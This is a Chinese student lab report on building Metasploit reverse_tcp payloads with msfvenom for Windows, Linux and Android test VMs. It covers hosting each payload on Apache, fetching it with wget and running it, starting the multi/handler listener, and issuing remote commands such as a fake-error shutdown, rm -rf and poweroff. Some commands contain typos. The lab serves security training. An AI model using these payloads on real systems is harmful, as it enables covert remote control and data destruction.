6.4-6.5 如何使用msfvenom生成被控端并进行远程控制
在Kali 2中生成被控端的工具:msfvenom(msfvenom是渗透测试工具Metasploit中的一个命令)
前导练习:
1.查看帮助信息
Msfvenom --help
2.查看所有可以使用的攻击模块
Msfvenom -l paylosds
3、筛选出使用reverse_tcp的模块
Msfvenom -l paylosds | grep reverse_tcp
4.使用--list-options选项查看攻击载荷需要设置的参数。
Msfvenom –list-options -p windows/meterpreter/reverse_tcp
6.4 如何使用msfvenom生成被控端并进行远程控制
6.4.1 生成windows系统下的被控端并进行远程控制
测试windows系统实验使用的网络环境,填写以下IP地址:
测试用windows系统(WinXPenSP)的IP: 192.168.132.131
虚拟机Kali Linux 2的IP: 192.168.132.128
步骤一:生成Windows操作系统下的被控端并放入目标靶机运行
options(选项):
-p 指定要生成的攻击荷载(payload)
-f 输出格式(format)
-o 输出(out)存储payload的位置
方法一(教材): 将被控端payload.exe生成到/var/payload.exe
方法二:将被控端winpayload.exe生成到网站的目录(/var/www/html/)下,然后到靶机中用浏览器下载并运行。
(1).将被控端改名为winpayload.exe复制到网站的目录(/var/www/html/)下
(2).检查apache2服务是否启动:
systemctl status apache2.service
(3).启动apache2服务:
systemctl start apache2.service
(4). 到靶机WinXPenSP3中用浏览器下载并运行
步骤二 :启动主控端
1、启动metasploit,进入metasploit(msf)的控制台。
2、使用handler模块,然后配置参数。
使用--list formats查看Metasploit所有支持的格式:
(1)use exploit/multi/handler
(2)设置攻击载荷为windows/meterpreter/reverse_tcp
(3)设置lhost为kali的IP
(4)设置lpost为20000
(5)发起攻击(等待目标靶机WinXPenSP3上线)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.132.128
set lport 20000
exploit
是否建立会话?
步骤三:控制目标靶机(WinXPenSP3)
输入shell,执行各种命令,如查看操作系统信息、磁盘信息、关闭系统等。
1.查看操作系统信息
2.查看目标靶机有哪些磁盘
diskpart
3.延时关闭系统并弹出提示框
shutdown -s -t 10000 -c "System Error!!!"
4.退出控制
6.4.2 生成linux系统下的被控端并进行远程控制
测试linux系统实验使用的网络环境,填写以下IP地址:
测试用linux系统(Metasploitable2-Linux)的IP:192.168.132.130
虚拟机Kali Linux 2的IP:192.168.132.128
步骤一:生成linux操作系统下的被控端并放入目标靶机运行
1、查看linux的攻击载荷
msfvenom -l payloads | grep reverse_tcp
2、生成被控端
(1)将被控端linuxpayload.elf生成到网站的目录(/var/www/html/)下,稍后到靶机中用浏览器下载并运行。
msfvenom -p linux/meterpreter/reverse_tcp lhost=192.168.132.128 lport=5001 -f elf -o /var/www/html/linuxpayload.elf
(2)检查apache2服务是否启动,如果未启动apache2服务,则需要启动。
systemctl start apache2
systemctl status apache2
步骤二 :启动主控端
1、启动metasploit,进入metasploit(msf)的控制台。
2.使用handler模块,然后配置参数。
(1)使用handler模块
(2)设置攻击载荷为linux/x86/meterpreter/reverse_tcp
(3)设置lhost为kali的IP
(4)设置lpost为5001
(5)发起攻击(等待目标靶机Metasploitable2-Linux上线)
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.132.128
set lport 5001
exploit
步骤三 :到目标靶机(Metasploitable2-Linux)下载攻击载荷并运行。
1.下载被控端
wget http://192.168.132.128/linuxpayload.elf
2.查看被控端是否给了执行权限,没给则需要添加执行权限
chmod +x linuxpayload.elf
3、运行被控端
返回到kali,是否建立会话?
./linuxpayload.elf
步骤四:控制目标靶机(Metasploitable2-Linux)
输入shell,执行各种命令,如查看操作系统信息、磁盘信息、关闭系统等。
1.查看操作系统信息
uname -a
2.查看主机名
hostname
3.查看IP地址
ip addr
4.使用curl命令访问kali的网页
curl http://192.168.132.128
5.退出控制
6.4.3 生成android系统下的被控端并进行远程控制
测试android系统实验使用的网络环境,填写以下IP地址:
测试用android系统的IP:192.168.132.129
虚拟机Kali Linux 2的IP:192.168.132.128
步骤一:生成android操作系统下的被控端并放入目标靶机运行
1、查看android的攻击载荷(只查看使用reverse_tcp)
msfvenom -l payloads | grep reverse_tcp
2、生成被控端
(1)将被控端androidpayload.apk生成到网站的目录(/var/www/html/)下
msfvenom -p android/metrtpreter/reverse_tcp lhost=192.168.132.128 lport=20000
-o /var/www/html/androidpayload.apk
(2)检查apache2服务是否启动,如果未启动apache2服务,则需要启动。
systemctl start apache2
systemctl status apache2
步骤二 :启动主控端
1.启动metasploit,进入metasploit(msf)的控制台。
2、使用handler模块,然后配置参数。
(1)使用handler模块
(2)设置攻击载荷为android/meterpreter/reverse_tcp
(3)设置lhost为kali的IP
(4)设置lpost为20000
(5)发起攻击(等待目标靶机android-86_64-7.1-r5上线)
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.132.128
set lport 20000
exploit
步骤三 :到目标靶机(android-86_64-7.1-r5)下载攻击载荷并运行。
1.下载被控端
2、运行被控端
返回到kali,是否建立了会话?
步骤四:控制目标靶机(android-86_64-7.1-r5)
输入shell,执行各种命令,如查看操作系统信息、磁盘信息、关闭系统等。
1.输入:shell
2.查看当前用户名
whoami
3.查看操作系统信息
uname -a
5.尝试切换到root用户
(1)在安卓虚拟机中弹出提示信息,选择“拒绝”。
在kali中可以看到什么结果?
(2)在安卓虚拟机中弹出提示信息,选择“允许”。
在kali中可以看到什么结果?
在kali中输入whoami,显示当前用户
切换为root用户之后,可以对安卓机进行最大权限的控制。
I:显示根目录的文件
ls
II:进入存储卡中的下载目录(sdcard/Download),查看当前目录的文件。
cd sdcard
ls Download
III:删除Download目录中的文件
rm -rf Download/androidpayload.apk
IV:关闭系统
关闭系统之后,主控端无法再继续控制了。
poweroff
3、退出
七、总结
在进行远程控制方面的实验中,我首先学习了如何使用MSFPC和msfvenom这两个工具生成被控端,并通过Metasploit框架进行远程控制。这些工具对于渗透测试和安全评估非常有用,但同时也需要谨慎使用,以避免违反法律和道德规范。
通过实验,我学到了以下几点:
1.Payload生成:使用MSFPC和msfvenom生成适用于不同目标平台的Payload。我了解到Payload可以是各种格式的文件,如可执行文件、脚本等,而生成的Payload可以针对特定的目标系统和架构进行定制。
2.监听器的配置:学习了在Metasploit中配置监听器以侦听被控端的连接。这包括设置监听的地址和端口,以及选择合适的Payload类型。
3.Payload的部署:学习了将生成的Payload发送给目标设备并执行的步骤。这需要一定的社会工程学技巧,以确保目标用户执行Payload。
4.远程控制操作:一旦目标设备执行了Payload并与监听器建立了连接,我学习了如何在Metasploit中进行远程控制操作。这包括执行命令、上传下载文件、截取屏幕等功能。
这次实验让我对远程控制的原理和实践有了更深入的了解。我将继续学习和实践,不断提升自己在网络安全领域的技能,并始终保持合法合规的原则。